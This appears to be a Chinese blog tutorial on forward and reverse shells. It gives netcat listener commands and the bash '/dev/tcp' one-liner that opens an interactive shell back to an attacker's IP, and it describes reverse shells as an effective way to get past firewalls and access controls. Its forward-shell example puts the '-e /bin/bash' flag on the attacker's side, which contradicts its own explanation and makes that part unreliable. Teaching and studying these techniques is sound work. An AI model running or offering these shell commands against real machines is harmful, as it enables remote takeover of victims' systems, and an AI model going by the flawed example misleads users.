0
点赞
收藏
分享

微信扫一扫

uniapp中vue写微信小程序的生命周期差别

沪钢木子 2024-04-21 阅读 30

网络安全之反弹Shell

在网络安全和渗透测试领域,“正向Shell”(Forward Shell)和"反向Shell"(Reverse Shell)是两种常用的技术手段,用于建立远程访问目标计算机的会话。这两种技术都可以让攻击者在成功渗透目标系统后执行命令,但它们在建立连接的方式上有所不同。

正向Shell(Forward Shell)

概念

在正向Shell的场景中,攻击者机器作为客户端,主动连接到受害者机器上事先设置好的监听端口。这种方式通常要求受害者机器在外网上具有可访问的开放端口,或者在内网中能够被攻击者机器直接访问。
这种方法的局限性在于,如果受害者机器位于防火墙后或没有公网IP,攻击者可能无法直接连接到受害者机器的监听端口上。
● 攻击者在受害者机器系统上设置一个在特定端口上监听的服务(比如一个Web服务器)。
● 攻击者从自己的机器上,使用一个客户端工具(如Netcat)主动连接到受害者机器的这个服务上。
一旦建立了连接,攻击者就可以通过这个会话向受害者机器发送命令并接收执行结果。

正向Shell示例

● 攻击者在受害者机器上设置监听,使用Netcat监听某个端口

nc -lvnp 9999
  • 攻击者机器主动连接受害者机器
nc 192.168.0.106 9999 -e /bin/bash

这个命令具体是用来建立一个网络连接,并在连接成功后执行一个指定的程序(在这种情况下是 /bin/bash)。

反向Shell(Reverse Shell)

概念

反向Shell的工作方式与正向Shell相反。在这种场景中,是受害者机器主动连接到攻击者的机器上。攻击者首先在自己的机器上设置一个监听特定端口的服务,然后诱使受害者机器执行一个命令或脚本,使其主动连接回攻击者的监听端口。
● 攻击者在自己的机器上使用Netcat等工具监听一个端口(例如 nc -lvvp 9999)。
● 攻击者诱使受害者机器执行一个反向Shell脚本或命令,该脚本配置目标机器连接回攻击者机器的监听端口(例如使用bash、Python等语言编写的脚本)。
● 一旦受害者机器执行了该脚本,它就会主动连接到攻击者的监听端口,从而允许攻击者通过这个会话执行命令。

反向Shell示例

● 攻击者机器上先开启监听端口

nc -lvvp 9999

● 受害者机器上再执行bash命令

bash -i >& /dev/tcp/192.168.0.105/9999 0>&1

它的作用是在受害者的机器上执行,以建立一个从受害者机器到攻击者机器的连接,并通过这个连接提供一个交互式Shell会话。如下是详细解释:

当这条命令在受害者机器上执行时,它会尝试连接到攻击者指定的IP地址192.168.0.105和端口9999上。一旦连接建立,攻击者就可以通过这个连接发送命令,受害者的bash会话将执行这些命令并将输出发送回攻击者,从而允许攻击者远程控制受害者的机器。

反向Shell的优势在于,即使目标机器位于NAT或防火墙后面,只要它能够出站到互联网,就能建立连接。这使得反向Shell成为绕过访问控制,实现远程命令执行的一种非常有效的手段。

举报

相关推荐

0 条评论